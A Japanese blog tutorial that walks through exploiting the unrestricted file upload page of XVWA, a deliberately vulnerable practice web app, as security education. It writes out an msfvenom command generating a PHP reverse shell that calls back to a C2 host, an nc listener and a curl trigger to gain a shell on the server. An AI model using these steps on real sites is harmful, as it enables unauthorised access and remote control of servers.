【悪用ダメ】XVWAちゃんにバックドアによるサイバー攻撃を仕掛けてみる（Unrestricted File Upload編）

#初めに

どうも、クソ雑魚のなんちゃてエンジニアです。

本記事は前回紹介した総受けサイト「XVWA」に対してバックドアによる攻撃を仕掛けてみたときのことをまとめてみようと思う。
今回はバックドアになるリバースシェルを簡易作成するためにKali Linuxを使用していきます。

さて、XVWAちゃんは一体どんな反応を見せるのか...乞うご期待...

※XVWAをローカルに立てる記事は以下になります。

https://qiita.com/schectman-hell/items/d33716320616a6fca772

※OSコマンドインジェクションした時の記事もあるのでこっちもみていってね！！

https://qiita.com/schectman-hell/items/220582a017062963b5d7

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___


#目次
+ バックドアとは？
+ ツール紹介
    + Metasploit
+ 環境構築
+ バックドア埋め込み実践
       + 事前調査
       + バックドア埋め込み
+ まとめ

#バックドアとは？
サイバーセキュリティドットコムさんのコラムには以下のように説明されてます。

>バックドアとは、英語で直訳すると「勝手口」「裏口」のことで、セキュリティの分野では「コンピューターへ不正に侵入するための入り口」のことです。
悪意を持った攻撃者が、ターゲットとなるコンピューターに侵入するための入り口を作るケースや、プログラムにあらかじめ入り口が作られており、侵入できるようになっているケースなどいくつかの種類があります。
https://cybersecurity-jp.com/column/23148

要するに不正に侵入するための入口ってことですね。
怖い怖い。やめてほしいですね。
※これから仕込んでいくんですけどね。

#ツール紹介
バックドアのためのリバースシェル作成ツールを紹介しよう

##Metasploit

||
|---|
|![Metasploit(透明).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/8dce808d-e37b-4a7f-c815-649fb0249a6f.png)
|

このツールは脆弱性のスキャン、exploitコードの作成や実行などハッキングにおいて使用する多様なモジュールを提供しているオープンソースのフレームワークである。Kali Linuxではデフォルトでインストールされているので使い勝手がとてもいい。
ハッカーさんたちはめっちゃ重宝しているツールなのではないのであろうか？？
※`wmap`はよくお世話になってます。

今回はこのMetasploitの`msfvenom`モジュールを使用していく。
このモジュールは簡単にOSやソフトウェア別でリバースシェルを作成してくれるものである。
※以下参考Quiita

https://qiita.com/mr-wacker/items/0ec926951ffa5a4d197c


#環境構築
まずXVWAちゃんに画像をアップロードできる機能を実装していこう。
以下のコマンドを打ち、アップロード先のディレクトリ階層を作成する。
※デフォルトではアップロードエラーが出てくる。

```bash
root@xvwa:~$ cd /var/www/html/xvwa/img
root@xvwa:/var/www/html/xvwa/img$ mkdir uploads
root@xvwa:/var/www/html/xvwa/img$ sudo su
root@xvwa:/var/www/html/xvwa/img# chown www-data uploads/
```
※上位アカウントのパスワードについては以下のサイトを参考にしてください。

https://github.com/s4n7h0/xvwa

#バックドア埋め込み実践
###事前調査
まずXVWAサイトの「Attack」欄の「Unrestricted File Upload」をクリックしてみよう。以下のページが表示されるはずだ。
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/561b6f53-a8a3-982b-e557-298c04a72b45.png)
今回はこのページのファイルアップロード機能を用いてバックドアを仕込んでいく。

試しに何かファイルをアップロードしてみよう。
今回はXVWAちゃんのロゴPNGのデータをアップロードしてみた。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/5392b59a-a4c5-2776-4b78-ab163d424375.png)

こんな感じでアップロードできるはずである。

前回の「OS Command Injection編」でも使用したBurpSuiteでこのRequestを見てみると以下のようになる。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/cd1097ca-d669-fe34-65f4-dba4e6facdee.png)

上記の結果（赤枠）を見てみると、「___アップロードした画像ファイルと同名のファイルをそのまま公開されているページの階層へ保存している___」ようである。
実際に上記右側の赤枠階層へRequestを投げると、画像が表示されることとなる。

ここでハッカーさんは閃くのである。
「ふむ、ファイル検疫がされてないようであればそのまま悪性ファイルを叩き込めるのでは？」

そうと決まれば試してみようではないか。
以下のPHPファイルを先ほどと同様にアップロードしてみた。

```php:phpprint.php
<!DOCTYPE html>
<html lang="ja">
<head>
  <meta charset="utf-8">
</head>

<body>

<p>Hack status: <?php  echo "hack complete"; ?></p>

</body>
</html>
```

![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/91e1730c-6855-15a3-0f00-268cfbc710c0.png)

なるほど、どうやら検疫なしにアップロードできるようである。この時点で既にWeb改ざん系の攻撃もできそうだな...
実際にこのファイルにアクセスしに行った場合は以下のように表示される。

![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2e1dc208-176c-c5ce-83b0-78a5cb316bb7.png)

ハッキング完了してないのにCompleteしてしまった点はさておき、これで何でもアップロードできそうであるということは確認が取れたので、いよいよバックドアを埋め込んでいこうと思う。

###バックドア埋め込み
さて、ここで使用するのが先ほど紹介した`msfvenom`モジュールである。
Kali Linuxにて以下のコマンドを実施しよう。

```bash
#msfvenom -p php/reverse_php LHOST=[C2サーバのIP] LPORT=443 -f raw > [保存先ディレクトリ階層]/shell.php
```

このコマンドだけで簡易にリバースシェルができるので、先ほどと同じようにファイルアップロードをしてみる。

![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2f23ecbf-774a-d34a-921f-0282fcb39015.png)

アップロード完了である。

それではこのアップロードしたリバースシェルに対してC2サーバ（私はKali Linux環境）でアクセスしてみよう。ターミナルは２つ用意します。
まずはリバースシェルからの応答を受けるターミナルを用意し、以下のコマンドを打ちましょう。

```bash
#nc -nlvp 443
```

続いてもう一つターミナルを準備し、以下のコマンドを打ち込み、リバースシェルへアクセスします。

```bash
#curl http://[XVWAのIPアドレス]/xvwa/img/uploads/shell.php
```

リバースシェルへアクセスしたら一つ目のターミナルでリバースシェルから応答が以下の図のようにあると思います。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/e4ead2c7-f6e4-cf6b-b561-cb8bb3d989ca.png)

色々コマンド試していくと、どうやらuploadsのディレクトリ階層に入れちゃったみたいですね。
※アップロードした「phpprint.php」があるのでわかりやすいですね。
これでやりたい放題です。
怖い...

#まとめ
第六回の投稿はいかがだったでしょうか？
XVWAちゃんにMetasploitを使った簡単なバックドアを仕込む方法を紹介しました。
今回もセキュリティエンジニアの皆さんの助けになればなと思います。